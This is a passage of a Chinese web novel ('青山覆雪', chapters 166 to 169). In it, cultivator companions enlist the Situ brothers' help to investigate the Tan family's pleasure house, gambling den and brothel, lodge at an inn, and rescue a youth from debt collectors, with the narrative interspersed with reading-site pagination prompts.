看似漫不经心的动作,实则真的漫不经心。 掌柜的听到熟悉的声音时,手上的动作戛然而止。 他赶忙抬起头来,看清来人就是司徒信本人时,立马喜笑颜说道:“那哪儿能啊,司徒公子可是我们这儿的贵客,您的厢房日日都有人打理,就盼着您来了。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!掌柜一边说着,一边点头哈腰,满脸讨好之色。 司徒信闻言,从鼻腔里冷冷地哼出一声,随即又轻轻地拍了两下桌子,语气平淡地说道:“带路吧。” 跟在几人身后的邱漓,看着司徒信这般待遇,不禁小声嘟囔起来:“有钱就是好啊,真想跟这群有钱的拼了。” 她撅着嘴,一脸愤愤不平的模样。 这番话恰巧被走在她身旁的冬苓听了个正着,笑着安慰道:“别急,咱明天就去拼。” 众人沿着楼梯一路向上,来到了位于酒楼第四层的厢房。 与下面三层不同的是,这里的布置显然经过了一番特别的设计,无论是装饰风格还是碗筷摆放,无一不是按照客人的喜好精心准备的。 进入厢房后,掌柜殷勤地将两份菜单分别递给了司徒信和司徒意,随后恭敬地站在一旁。 他知道司徒家如今的家主是司徒信,但他更知道这几年来,司徒信对他这个弟弟那可谓是疼爱有加。 当年,司徒信在接任家主之位没过俩月,就公开了司徒意的真实身份。 说他本就是男儿身,之前一直隐瞒其性别,是为了确保他能够稳稳当当地坐上那家主之位,正式接手司徒家的生意。 如今,一切既然都已尘埃落地,自然也就无需再继续伪装下去。 自此,司徒家便出了位二公子。 起初有人质疑,说司徒意平日里表现得温文尔雅、与世无争的模样,其实心机深沉到了极点,所做的一切无非只是为了保住自己的性命罢了! 但也有人说,这整件事情从头到尾都是司徒家族精心策划好的一场戏码。 让司徒意以女子装扮示人,目的打消竞争对手的戒备心,他其实就是一颗放在明面上的暗棋,以便更好的巩固司徒家的地位。 一时之间众说纷纭,司徒意也是借此翻了身,从一个名不见经传的九姑娘,变成了人尽皆知的司徒二公子。 更有些喜欢看热闹的,猜测这俩兄弟日后会不会为了争家产撕破脸,明里暗里的给对方使绊子。 可再看那司徒信,不论是在外人面前,还是于自家人跟前,他对待司徒意的态度简直无可挑剔,好得没边儿。 人就坐在那儿什么都不用说,他就提前把一切都布置妥妥当当,不让司徒意皱一下眉头。 每当旁人问起缘由时,他只说司徒意往日的生活实在憋屈,如今既已恢复身份,那自然该加倍补偿。 不过也有一些眼尖儿之人,看出这二人之间的行为举止有些过于亲昵。 谁家兄长吃醉了酒就往弟弟怀里钻?甚至还哼哼唧唧的撒起娇来。 如此行径,合乎常理吗? 但对掌柜的来说,无论外人如何议论,都跟他关系不大。 只要司徒信能给他钱,他爱跟谁好跟谁好。 他瞎,他聋,有需要的话,他还可以中风。 司徒意接过菜单后,随口道了声谢,转而将其递给了一旁的江洵。 江洵翻开后,不紧不慢地扫了一眼,随即点了一道清蒸鱼。 就在此时,傅霖凑近过来,指着“水煮鱼片”那一行小字说道:“来道这个。” 江洵语气平淡地回应道:“已经点过鱼了。” 傅霖却不以为意,挑了挑眉反驳道:“那又如何?味道不一样。” 坐在不远处的司徒信将两人的对话尽收耳底,刚想张嘴附和一句“想吃就点嘛”,话还未出口便听到江洵出乎意料地应了声:“好吧。” 好吧? 司徒信可不觉得江洵是那种轻易妥协、又好说话的人。 之前自己未曾留心观察,此刻再细细打量起这两个人之间的互动和氛围,隐隐感觉有些异样之处。 特别是傅霖望向江洵的目光,炽热且毫不掩饰的眼神实在让人难以忽视。 他看旁人可不是这样。 趁着等待上菜的间隙,司徒信朝着忙碌中的掌柜挥了挥手,示意其可以先行离开,若有需求自会唤他前来。 待看到掌柜的身影渐渐远去后,他这才清了清嗓子,压低声音开口问道:“行啦,别藏着掖着了,快说说到底是怎么回事儿?” 他可不信这几人真的是来吃顿饭的,指定是在南华遇到什么麻烦了。 “司徒兄可知道谈家?”秦在锦开口询问。 “知道。”司徒信回。 “那碧水轩的事情,你了解吗?” “碧水轩......” 司徒信说到这儿的时候,话语戛然而止,稍稍停顿了一下。 他自然是知晓碧水轩的,岂止是知晓,他甚至曾经亲自去过那里。 就在前年的时候,他结识了一位生意场上的好友。 这人不辞辛劳地从东宁城赶来,目的只有一个——去碧水轩好好享受一番。 司徒信其实内心并不情愿前往那样的场所。 虽说谈家一直将其宣扬成一处高雅之所,美其名曰可以在此聆听美妙的曲子、欣赏精彩的戏剧表演,还能够与三五知己把酒言欢、纵情高歌。 本小章还未完,请点击下一页继续阅读后面精彩内容!但这话说出去有几个人信? 这比他说只拿司徒意当兄弟,还要让人觉唏嘘。 在他看来,这跟青楼根本没有太大差别,只不过多了一些花样罢了。 说起来,那段时间他与司徒意之间产生了些许矛盾。 于是乎,他便动起了歪心思,倘若自己陪着那位朋友一同前去,说不定司徒意会因此事而心生醋意。 可谁曾想,他离开了两日之久,司徒意丝毫没有察觉到。 这可把他气的够呛! “我们刚接到了一个任务,与这碧水轩有关。”秦在锦开口解释道。 紧接着,司徒信接过话头继续说道:“说实在的,那地方说到底也就是个青楼而已。不过它比较特别的一点在于,登台献艺的皆是男子。” “男子?” “对,当年有个唱的很好的名角儿,叫季朗然。姿色么,上等。” “这么清楚呢。”一旁的司徒意轻声问道。 司徒信刚想脱口而出一句“那可不”,但一听这话是司徒意说的,硬生生给咽回去了。 “我也是听说的。”司徒信伸手挠了挠后脑勺,笑着说道。 “那位季公子,如今可活着?”傅霖问道。 司徒信听闻此言后,轻轻地摇了摇头,眼神之中流露出一丝惋惜之色,缓缓开口道:“不在人世了。死在去年那场大火,不过十九岁。” 傅霖微微点了点头,表示明白,然后接着说道:“司徒兄认为,碧水轩是否会准许我们几位进入其中?” 司徒信想都没想便立刻回答道:“你们此行本来就是来执行任务的,又怎会不让你们进?” 傅霖赶忙摆了摆手,解释道:“不不不,我的意思并非是以执行任务的身份光明正大地走进去,而是以客人的身份偷偷溜进去。” 此次任务规定必须要在二十五日前抵达目的地,今天是二十二日,算起来还有两三天的时间。 况且,任务中并没有安排专门的记录员随行监督。 如此一来,他们也就无需过多担忧自己的身份会被曝光。 现如今中律司内部的相关规则发生变化,由于记录员人手不足,因此在丁戊级别的任务当中,只有队伍里存在毫无经验的成员,中律司才会配备一名记录员全程跟随。 可若全员皆是有经验者,中律司便不会再额外为其分配记录员。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第167章 朗 “这个好说,到时候你们拿我的牌子,直接进去就成。”司徒信说道。 “那就有劳司徒兄了。” “哪里哪里,当初要不是你们帮忙,我家卿卿怕是没有今日。” “应该的。” 傅霖面带微笑地朝司徒意举了一下手中的茶盏,做了个敬茶的动作。 待一道道菜肴被陆续端上桌,司徒信率先动筷,示意江洵他们都别客气,当自己家。 吃饭间,司徒信开口问道:“只是不知这案子……你们想查到什么程度?” 江洵听到这话,不禁皱起眉头反问道:“什么意思?” “捉鬼这方面,你们是行家,我不多加置喙。但做生意这方面,就是另一回事儿了。” 傅霖闻言,放下手中的筷子,身体微微前倾,示意司徒信继续往下说。 此时,司徒信探出身子瞥了一下门外,确认四周无人偷听以后,压低声音讲述起来。 谈家这三个孩子,没有一个是省油的灯,甚至可以说没有一个人手上是干净的。 谈东轩经营的那家赌坊名曰云启坊,里面赌的不仅仅是钱财,更是人命。 若是有人赌钱输了,欠了债,倾家荡产的去填这个窟窿那都算是轻的。 更有甚者,房子和地都买了,最后还是还不完,那时候就得采取别的方法了。 只需将家中亲人带来让云启坊过目一番,再依照他们的年龄以及容貌来标定价格即可。 对于那些容貌出众且年幼的女子,将会被送往谈茗聆所经营的三生殿之中。 至于那些相貌平平者,则会被发配到谈家各个客栈里充当无偿的苦力,直至生命终结都不得踏出谈家客栈半步。 可若是上了年纪,或者身体不好的,那可就卖不出什么好价钱。 和那些光吃饭不会干活的孩子一样,打残了扔大街上去乞讨,怎么着儿也得把欠的债给还上。 听闻那季朗然,起初正是为了给在青楼的姐姐赎身,才心甘情愿地前往碧水轩卖唱献艺。 谁曾想,姐姐没赎回来,自己也搭了进去。 谈家在南华本就家底雄厚,如今再加上这源源不断的黑钱流入,近两年势力也越发庞大。 其实说了这么多,司徒信的弦外之音已经很明显了。 碧水轩那场大火来的蹊跷,死亡人数更是令人咂舌。 倘若它真的只是一场意外,那确实让人觉得可惜又可叹。 但若是隐藏着其他原因,比如某个人在碧水轩不堪受辱而蓄意纵火,那么即便江洵他们解决了眼下这个案子也无济于事。 只要谈家尚在一日,南华城就日日都有枉死的鬼魂。 而且,碧水轩若依旧这么罔顾人命的开下去,必定还会有另一人再度点燃熊熊烈火。 “我建议你们明日可以兵分三路,碧水轩、赌坊以及青楼。” 司徒信将多余的三个杯子摆放开来,一个杯子象征着一个地方,随后继续说道:“当然,你们不用担心人手的问题,我明天可以陪你们走一趟。” 傅霖沉默着点了点头,觉得他说的在理。 谈家背后的势力盘根错节,若真要细查下去,只靠他们五人来查的话,确实有些吃力。 最主要的是师出无名,他们现如今只能拿着任务书对碧水轩下手,但如果还想要借力打力,那得有个过硬的靠山在后面撑着。 司徒信的身份很好使,但还远远不够。 倘若有中律司的介入,或者当地衙门的帮助,就万无一失了,查起来腰板儿也能挺直了。 “南华城的中律司,可有熟人在?我指的是有一定话语权之人。” 傅霖问这话的时候,视线落在了冬苓身上。 只见冬苓微微皱起眉头,思索一番之后,轻轻地摇了摇头,紧接着又补充道:“有是有,但他近日不在南华。” 四哥现今还在云莲城,即便能够帮得上忙、说得上话,然而等到书信传递过去之时,恐怕一切都已经太迟了。 “或许......你们同南宫珩熟吗?”司徒信夹菜的时候,顺口插言道。 秦在锦闻言,反应迅速,连忙追问:“阿珩在南华?” 司徒信一听这熟络的称呼,就知道他们认识,点头道:“在的。” 冬苓立刻面露喜色,急忙催促秦在锦道:“赶紧给他写信,快快快,先别吃了” 几人边吃饭边商量对策,最终敲定由江洵和傅霖拿着司徒信的牌子先去碧水轩探探虚实。 而冬苓和邱漓两位姑娘负责去三生殿当个卧底,查一下青楼的底细。 至于秦在锦么,司徒信明日会陪他一起去云启坊,赌钱嘛!司徒公子还是有点儿小手段的。 吃饱喝足后,几人愣是又多闲聊了一会儿,才意犹未尽地起身离去。 等下到二楼的时候,江洵突然顿住了步子。 “怎么了?”傅霖回头问道。 “我去把那几个饼拿着。” 江洵说罢便转身往回走,虽然吃不下了东西了,但他还是不想浪费,那饼丢了怪可惜的。 本小章还未完,请点击下一页继续阅读后面精彩内容!“行,我们在楼下等你。”司徒信笑着喊道。 江洵随意地摆了摆手,嘴角微扬,示意自己听到了,让他们先行一步。 待登上四楼沿着走廊前行,路过其中一间厢房门口时,突然间,门被缓缓推开,从中走出一人。 二人就这样擦肩而过,一个要往楼梯口处走,一个要往最东边的厢房走。 而就在这短暂交汇的瞬间,那个人在瞥见江洵的容貌后,动作戛然而止。 他的目光紧紧锁定在江洵渐行渐远的背影上,犹如发现了稀世珍宝一般。 没过一会儿,江洵从厢房中踱步走出,不仅嘴里吃着一块,手里还拎着几块用油纸精心包裹着的肉饼。 此时,那人依旧站在原地,直愣愣地看着江洵,哪怕被对方发现也丝毫没有移开视线的意思。 江洵有些疑惑,这人老是盯着他做什么? 他又不是偷人家的剩菜剩饭吃。 他们可是付过钱来吃饭的客人! 等等……莫不是司徒信没给银子? 不过既然那人没出手拦他,江洵便也没有多问,毕竟,多一事不如少一事。 只是,那人凝视着江洵的目光实在太过炽热,甚至有些猥琐,令江洵感到浑身不自在。 那种感觉就好似自己成为了一只被饿狼盯上的羔羊,无处遁形。 而对于那人来说,江洵脸上流露出的反感,非但没有让他退缩,反而更加激发了他内心深处的兴奋。 等江洵的身影逐渐消失在楼梯口,那人才缓缓回过神儿来。 太像了……江洵和他心里一直藏着的那个人简直长得太像了。 尤其是那不耐烦地神情,可谓是如出一辙。 他随即走到江洵方才出来的那一个厢房前,看了一眼挂在门上的牌子,上面写着“司徒”二字。 奇了怪了,司徒家两个公子他都见过,并不记得还有这般容貌的少年郎。 当江洵脚步匆匆地来到一楼时,一眼便瞧见傅霖身姿慵懒地斜倚在柜台旁,似乎等待多时。 “锦哥他们人呢?”江洵一边走近傅霖,一边开口询问道。 傅霖笑着抬起手,自然地接过江洵抱在怀中的肉饼,轻声回答:“门口看花灯呢。” 二人往外走去的时候,江洵想起刚刚遇到的那个人,不禁皱起眉头,说道:“刚遇到个人,很奇怪。” “嗯?哪奇怪?” 江洵摇了摇头,回答:“说不上来,许是我多疑心作祟。” 傅霖听他这么说,停下步子,一脸认真地看着江洵,郑重其事地喊道:“江洵。” 江洵闻声,回过头去,目光交汇之间,只听傅霖沉稳有力的声音传入耳中。 “请一直相信自己的直觉,无论好坏。” 此时,璀璨的花灯前,拿着肉饼的公子先是微微一怔,而后笑开了眉眼。 摇曳的烛火映在他俊秀的脸庞之上,衬得那双湿润润的眼眸更加明亮,像是藏了点点星光。 而这一幕,恰好被站在楼梯口的某人尽收眼底。 最终,傅霖出钱给他们一人买了一盏花灯。 邱漓那丫头高兴极了,宝贝的爱不释手,走路时都小心翼翼的,生怕路上的行人给她撞坏了。 而另一边,司徒信早就遣人给他们安排好了住处。 只是等他们过去之后,店家却面露难色,声称其中有一间客房的窗户不知何时损坏了,目前尚未修理好。 由于房间有限,恐怕只能让两人暂时挤在同一间屋子里凑合一下了。 傅霖听到这里,下意识地转头看向站在不远处的司徒信。 他就不信这偌大的客栈都住满了人,匀不出一间没问题的客房。 只见司徒信一脸得意地冲傅霖挑了下眉,那邀功的表情生怕傅霖不知道他做“好事”。 可还未等傅霖有所回应,就听一旁的冬苓说道:“那今晚我跟阿漓睡一间吧。” “你们明日要去三生殿查线索,今晚还是要好好休息。”秦在锦说道。 傅霖十分认同的点了点头,刚想欣慰的拍一拍秦在锦的肩膀时,就听那人继续说:“还是我跟洵哥睡一间好了。” 傅霖顿时收回了伸出去的右手,面无表情的接话道:“不行,咱们洵哥今晚也得好好休息。” “那咱俩睡一间?” 秦在锦转而看向了傅霖,那张脸上满是真诚,丝毫不像是在开玩笑。 “你就不能自己睡一间?你今年贵庚啊?二十有一了吧?怎么睡觉还得旁人哄着陪着吗?”傅霖没好气儿的回。 “我这不是怕你们睡不好......”秦在锦这话还未说完就被傅霖打断了。 “你晚上睡那么死,我就算真睡不好,你也不知道吧!” “霖哥所言极是……”秦在锦小声的嘟囔了一句。 眼下这场景,冬苓看不下去了,拎着傅霖的胳膊压低声音说道:“再嚷嚷,你就滚去睡单间。” 她和江洵欺负锦哥可以,旁人欺负锦哥不行! 哪怕是傅霖也不行! 而在一旁打哈欠的江洵,全程默默无闻地看着他们争来争去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他都不知道自己这么抢手呢。 嗐!真是苦恼。 将人都安排妥当之后,司徒信这才放心的跟司徒意离开。 他们如今还住在司徒府,家中女眷众多,倒是不太方便江洵等人回去住。 不过,好在南华城客栈也多,且他选的这家无论是口碑还是服务都是最好的。 而且最重要的一点,这儿不是谈家的客栈,所以晚上他们可以睡得放心一些。 眼瞅着司徒二人走了以后,他们也都各自回到客房休息。 进屋以后,江洵缓缓合上房门,发出一阵轻微的闷响。 他走到桌前,先是将沈亦行托他带给江挽的那只锦盒拿出来放好后,才开始脱去外衣。 方才听那小二热情的介绍,说是客栈后院有个天然温泉,若是赶路劳累,可以到那里去泡一泡,舒缓一下身体的疲劳。 当然,如果不喜欢与其他人一同共浴,还可以吩咐店中的伙计们将热水和浴桶送到房间里来。 江洵想也没想的就选了后者,无他,纯懒。 “这是什么?”傅霖看着那锦盒问道。 “沈哥送我师父的,托我帮忙带给她。” “你随身带着?装乾坤袋里岂不更方便?” “贵重的东西,自然是贴身收着。” 傅霖微微点头,表示理解,便也不再多言。 没过一会儿,店小二便将一应俱全的洗澡用具以及热水全部送进房间。 江洵将干净的衣物放在一旁的桌子上,而后才慢条斯理地解开身上穿着的中衣。 傅霖突然发现那人右侧的腰窝处,有个不太起眼的胎记。 似乎只稍用手轻轻一按,便能将其完全遮住。 “我当你是个正人君子呢。” 江洵虽然背对着傅霖,但也够感受到对方的目光正在自己身上来回游走。 傅霖慵懒地靠在床头,面对江洵的调侃没有半分尴尬,神态自若地说道:“我得先是个人。” 听到傅霖这般毫不掩饰的回答,江洵不禁轻声笑了起来。 “今年这届弟子大会,你有几成把握拿第一?” “看你。” 看你想拿第几。 “我要的是堂堂正正,而非保存实力的小把戏。” “行,给你。” 给你堂堂正正。 “若我拿了第一,同你做个交易如何?” 傅霖一下又一下的把玩着手中的玉佩,闻言“嗯”了一声,又漫不经心的抬眸问道:“想交易什么?” “交易个人。” “什么人?” “心上人。” “你心上人找我要?” “你且说给不给。” “给。你要什么我不给?你要什么我都给!” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第168章 缚 二人起初有一搭没一搭地闲聊着,但渐渐地,江洵说话的声音越来越小,最后直接没声儿了。 他们之间被江洵拿屏风隔着,此时也看不清那人在做什么。 约莫又等了一会儿,傅霖轻声呼唤道:“江洵?” 回应他的只有一片沉寂,傅霖这才缓缓从床上坐起身来,打算过去瞄一眼。 谁知,当他刚走到屏风旁边时,里面突然传来一阵响动。 紧接着,只见江洵猛地一下站起身来,伸手拿起一旁干净的衣物,利落地披到了自己身上。 “你方才怎得不说话?”傅霖问道。 “嗯?哦......不小心睡着了。”江洵一边穿着衣服,一边解释着。 待到江洵从屏风后踱步而出时,傅霖注意到他发尾的末端还悬挂着几滴水珠。 水珠顺着发丝滑落下来,滴落在地上,溅起小小的水花。 而因沾湿了水的缘故,江洵身上的衣物也紧紧贴附在身躯之上,若隐若现地勾勒出他的身材轮廓。 单薄又不失宽阔的肩膀、修长又略微纤细的腰部,以及那线条分明的肌肉纹理,无一不让人眼前一亮。 就在这时,江洵忽地抬起头看向傅霖,笑着问道:“今年还打你师父吗?” “打?” 傅霖嘴角挂着一抹无奈的笑容,这个“打”,是指他用脸去打温如玉的手吗? “嗯。” “这得看你给不给我这个机会。” 他这话说的,是料定了这一届弟子大会的一二名还会是他俩。 傅霖说话间,伸出一只手来,轻轻地抚摸着江洵的脖颈处。 而后,手掌顺着发丝一路向下,所到之处,涌出阵阵暖意。 不稍片刻,潮湿的中衣被他用灵力逐渐烘干,连带着那正在“啪嗒啪嗒”滴水的发丝也一并安静了下来。 江洵的目光直直地盯着傅霖,最终,视线落在那人唇上,“不想给。” 傅霖沙哑着声音回应:“那便不给。” 江洵闻言,失笑出声,“罢了,我可是要堂堂正正。” 翌日,二人尚未睡醒的时候,听到不远处传来的阵阵敲门声。 “谁?” 傅霖一边嘟囔着,一边把身上的被子往上掀,试图用它遮住这聒噪的声音。 门外传来司徒信的声音:“傅公子,您还睡着呐?” 傅霖强忍着困意,睁开了双眼,有气无力地回话道:“昂,有事吗?” “没啥事儿,就是告知您一声,我们几人先行一步。” “知道了,多注意安全。”傅霖说完这句,翻个身儿又继续睡了。 司徒信似乎又在门前说了两句什么,不过傅霖已经记不清了。 约莫半个时辰过去,傅霖才逐渐清醒,看了一眼睡在身侧的人。 江洵睡觉一直都很安静,也不占地方,他总是喜欢蜷着身子睡,好护着肚子。 傅霖轻手轻脚的下了床,穿衣穿鞋,并留了张纸条在桌上,纸条上简洁的写着“早点”二字。 只是这刚开门打算往外走的时候,看到地上放着一块令牌。 嗯? 傅霖奇怪的不是司徒信的令牌为何在这,而是司徒信居然敢把它就这么大大咧咧的放在这! 这是什么很不值钱的东西吗? 他就不怕旁人拿走吗? 是了,他想起来了。 那人临走前好像说把什么东西放在门口了,让他记得出来拿。 他当时困得要死,能记得个鬼! 傅霖缓缓走下楼梯,目光扫向忙碌的店小二,礼貌地开口询问:“小二哥,请问这附近哪家早点铺子最好吃?” 店小二听闻,立刻停下手中活计,满脸笑容地回答说:“客官您算是问对人啦!离这儿不远有一家张记早点铺,他家的馅饼那可是一绝啊!” 说完,似乎担心傅霖找不到路,那人热心地走出店门,抬手朝着某个方向指去。 等傅霖买完早点回来之时,江洵已然睡醒,正端坐在窗前发呆。 “怎么还买了桂花糕?” 江洵注意到在一众包子和馅饼之间,显得有些格格不入的桂花糕。 傅霖嘴里嚼着包子,含糊不清地回应道:“看到了,就买了。” 说着,他咽下口中的食物,从怀中摸出一块令牌,递给江洵, 江洵认得出那是司徒信给的东西,淡淡瞥了一眼,并未伸手接,“你拿着。” 他不觉得自己看起来像是有钱人家的公子哥,哪怕拿着这令牌,人碧水轩估计也会认为这令牌是他偷来的吧。 所以还是傅霖拿着稳妥一些,他像。 不对,他就是。 傅霖猜出他的小心思,不仅未收回去,反而再次递上前,执意让江洵收下。 “快拿着吧少爷,小的手都要举酸咯。”傅霖打趣道。 江洵听到这话,瞬间笑出了声,“戏精!” 嘴上虽这么说,但终究还是伸手接下了。 二人跟着任务书上的地址赶到时,已经午时末了。 碧水轩地处郊外之地,周围绿树环绕、山峦起伏。 这章没有结束,请点击下一页继续阅读!仅从外观上看来,这宅院质朴无华,不过是占地面积宽广罢了,不过郊区嘛,广就广了点儿,算不上什么事儿。 宅院正门口有四人把守着,看那样子就知道是身手不俗的练家子。 江洵同傅霖走近后,动作干净利落地翻身下马。 随后,只见其中一名守卫迅速迎上前来。 那人拱手行礼道:“前方乃是碧水轩,二位公子若是仅仅路过此地,烦请绕道而行;倘若二位是前来做客,那么还请出示相关令牌。” 江洵不慌不忙地伸手入怀,掏出刻有“司徒”二字的令牌,将它稳稳地递到了那人面前。 “司徒......” 那人呢喃道,视线在令牌和二人之间来回打量。 他知道司徒家有两位公子,虽未曾亲眼见过那二人的长相,但听人说皆是相貌堂堂,风度翩翩之人。 此刻观之,眼前这二人的气质仪态倒是与传言颇为相符。 确认无误后,那守卫脸上立刻露出恭敬之色,连忙向江洵和傅霖施礼道:“二位公子请进。” 言罢,他侧身做出一个“请”的手势,引领着他们缓缓朝院内走去。 待踏入大门之后,江洵才领略到这碧水轩内部装饰的奢华程度。 只见园中亭台楼阁错落有致,雕梁画栋美轮美奂。 更引人注目的是,那些遍布于园内各处的奇山异石,每一块都堪称稀世珍宝,价值连城。 此外,还有数只毛色纯净的小鹿正在池水边饮水嬉戏,好一派生机盎然的景象。 这......真是个听曲儿的地方? 江洵看着满园春色,不免有些惊讶。 属实是让他开了眼界。 “府中的院子大致分为四处——梅兰竹菊。四处院子各具特色,风景宜人。”那人微笑着向江洵和傅霖介绍道。 江洵微微颔首,面上表示知晓,心里却想着:倒是巧了,他们献岁也是分为梅兰竹菊呢。 “公子要是想听曲儿,便移步去梅园;若是要欣赏舞姿,移步去竹园;若是想休憩娱乐,移步去兰园;至于咱们菊园么,那里设有留宿的厢房。” 当听到“厢房”二字时,江洵和傅霖两人不约而同地对视一眼,彼此心照不宣。 人既然是死在厢房中,那菊园就一定要去看一眼。 “如今可还有空缺的厢房?麻烦给我二人备一间。”傅霖说道。 那守卫起初未察觉到有何不妥,忙不迭地点头应承下来。 而后,却突然顿住步子,回头问道:“公子,您是说您二人只需要一间厢房?” 他不是没听过司徒家俩兄弟感情甚笃,但感情再好,也不至于睡一张床吧? 再说了,他们也不差这个钱啊。 多开一间厢房,对他们也说连苍蝇腿儿都算不上。 “两间,各备一间。”江洵回应道。 “好嘞。”那侍卫这才转过身去继续领路。 将二人安全带到菊园后,他才算是完成了任务,同江洵及傅霖道别后便走了。 守在菊园门口负责接应的是位妙龄女子,名唤盈月。 她先是从抽屉里掏出一本小册子,接着将它递到江洵和傅霖面前,示意两人签下各自的姓名。 而后,她开口叮嘱道:“二位公子,夜半子时至寅时,若无要紧之事,尽量不要在走廊走动。” 江洵此时刚写下“司徒意”的名字,故作不解的抬头问道:“为何?” 盈月一字一句、面无表情的回道:“在碧水轩,这个时辰,鬼门大开,不吉利。” 江洵微微颔首, 没再多问,而后将册子递给身旁的傅霖。 待到两人的名字都签下后,盈月取出两把钥匙,说道:“二位公子的厢房位于这条走廊尽头两侧,若有任何需要可随时喊我。” “谢谢。”傅霖接过钥匙,示意江洵先去厢房看看。 “哎呀!不用谢。”秦在锦撞了一下司徒信的肩膀,告诉他都是自家兄弟不用见外。 “你跟谁都是这么自来熟吗?” 司徒信被那药膏激的倒吸一口凉气。 “不,有些不合我眼缘之人,我就不太愿意同他们有瓜葛。”秦在锦一本正经的解释道。 司徒信无奈的回了句:“好吧。” 要说这俩人还真是出师不利,云启坊尚未进去,就在路上遇到了正在讨债的一行人。 司徒信本来压根儿没打算多管闲事,毕竟像这样的事情,哪里能件件都去插手帮忙。 然而,他不过是随意地瞥了那么一眼,居然就被那个带头的给瞧见了。 只见那领头之人怒目圆睁,指着司徒信破口大骂:“看什么!你他娘的看什么?居然敢用那种眼神瞅我,你不知道我背后的东家是谁吗?” 面对这般嚣张跋扈的质问,司徒信心中的怒火瞬间就被点燃了。 “忍不了。” 他刚要拔剑,就被一旁的秦在锦伸手拦住了。 “得忍啊司徒兄!咱还有正事儿要办呐!” 秦在锦一边说着,一边朝着不远处那个被好几个人团团围住的少年望去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!此时,那少年也恰好将目光投向了他们这边。 一副可怜巴巴的样子,仿佛受了天大的委屈。 “他奶奶的,还敢盯着别人看!‘父债子偿’这四个字难不成还要老子亲自来教你?” 领头之人察觉出少年想要找人求救的心思,二话不说就一巴掌抽了过去,好让他彻底死了这心思。 这一掌力道之大直接将少年打得头晕目眩,嘴角也溢出了一缕鲜血。 “忍不了。”秦在锦咬牙切齿的说道。 凭什么赌鬼父亲欠下的债,要无辜的儿子来还? 这是哪门子的道理? 这种人还能被称之为父亲? 他这个年纪甚至还什么都没来得及做,就已经背负了巨额的债务,将自己的一生都搭了进去。 凭什么? 活该他欠别人的? 秦在锦同司徒信二人对上讨债的十余人,人数上虽然吃亏了些,可也不至于会落下风。 二人出手时多多少少控制着力度,没有真的起了杀心。 但讨债之人却不这样想,他们平日里都是在刀尖上生活的人,丝毫不会心慈手软,刀刀都下了死手。 就在双方激烈缠斗之际,司徒信稍一疏忽,便被对方瞅准机会挥刀砍中了手臂。 刹那间,一股剧痛袭来,他的衣袖瞬间被鲜血染红。 所幸的是,司徒信反应极其敏捷,及时侧身闪躲,这一刀仅仅只是在他的手臂上留下了一道浅浅的伤痕,并未伤及筋骨和经脉。 待将这群人打晕倒地之后,秦在锦顾不上喘口气,连忙弯下腰背起受伤的少年,跟着司徒意朝安全的地方跑去。 等到了一个庙里,秦在锦将少年放了下来,关切的问道:“叫什么名字?” “白简承” 只听少年用略带虚弱却又清晰的声音回答道。 好在那些人今日只是威胁恐吓他,并未真的伤及到他。 身上所受的伤也都是些皮外伤,静养些时日就能恢复如初。 如今看到人没有大碍,秦在锦又赶忙去帮司徒信包扎胳膊上的伤口。 “下次这种好事儿还做吗?”司徒信笑着问道秦在锦。 “下次?下次遇着了再说吧。”秦在锦叹了口气。 “你那赌鬼爹呢?”司徒信望向坐在对面的白简承。 “死了。”他语气冷淡的回道。 司徒信闻言,挑了下眉。 对那种人来说,或许死了也是一种解脱吧,只不过这债务的重担却落在了儿子身上。 真是,死也不死安生一些。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第169章 烂 临走前,秦在锦留了一些银两给那个少年,担忧地说道:“这些银两你且拿着,先寻个安全之地避一避风头,切莫急着归家。” 他怕那些收债之人再去寻他麻烦。 然而,白简承并没有收下秦在锦的银子,而是开口问道:“公子要去什么地方?” 他瞧得出眼前这两人绝非等闲之辈。 即便自己东躲西藏,恐怕也难以完全避开谈家势力的眼线。 与其如此,倒不如跟随在他们身旁,或许尚能多一线生机。 司徒信头也不抬的冷声道:“大人的事儿,小孩儿别打听。” 可白简承哪肯轻易罢休,只见他噌的一下站起身来,挺了挺胸膛,辩驳道:“我今年已然十七岁,可不是什么乳臭未干的小孩子!” 言语之间,尽显少年人的倔强与不服输。 司徒信听他这么说,只是冷哼一声,没有再理会他。 谁不是这个年纪过来的? 心里那点弯弯绕绕他会不知道? “敢问令尊是何时去世的?”秦在锦换了话题问道。 白简承微微一怔,低声答道:“上个月……” “那你这些日子都是怎么生活的?” “我有手有脚的,干啥不行啊!既能打杂又能送货,只要能给我一口饭吃,啥活儿我都愿意干!” 少年说这话的时候眼中闪着亮光,于他而言,这种凭借双手来换取生活所需的方式,让他感到格外的踏实。 仿佛这世间之事皆是如此,只要活着就会有盼头。 反观他爹还没死的时候,那日子简直是苦不堪言。 三天饿九顿是常态,平日里只能靠喝水充饥。 而最令他难以承受的,是那个嗜赌如命的爹又酷爱饮酒。 回回输了钱不如意就会去喝酒,而喝醉以后便拿他这个便宜儿子撒气。 他娘当初就是受不了他爹这德行,连夜收拾好行李逃了。 他曾不顾一切地追出门外,哭着询问阿娘为何不能带他一起走。 可阿娘说:“你是他儿子,你身体里流着他的血,你以后也会成为他那样的烂人!” 那年的他不过十岁,就被他那会“算命”的娘,定下了一生的轨迹。 起初是娘没了,后来是地没了,再后来是房子没了,现在倒好,爹也没了。 “那领头的你认识么?”秦在锦继续追问道。 白简承点头回应:“认识,此人名叫老鄂,乃是谈大的手下,专司催讨债务之事。”” “谈大?” “嗯,谈家长子谈东轩,道儿上人都喊他谈大。”白简承解释道。 秦在锦若有所思地点了点头,应声道:“行吧。” 言罢,缓缓站起身来。 此时,白简承见势不妙,急忙快步跟上,询问道:“你们是不是要去云启坊?” “是。” “我跟你们一起去。” 他说这话的神情异常认真,看上去倒不像是在开玩笑。 可司徒信一听这话,忍不住发出一声嗤笑,质疑道:“你去?你能干嘛?” 面对司徒信的嘲讽,白简承并未生气,“我知道云启坊的报子都是谁。” 司徒信对他的话半信半疑,继续追问:“靠谱么?” “我发誓!绝对靠谱!” 白简承生怕对方不信自己所言,一边说着,一边迅速举起右手,做起了发誓的手势。 “等下......”秦在锦忽然开口打断了二人的对话,有些茫然地问道:“什么是报子?” 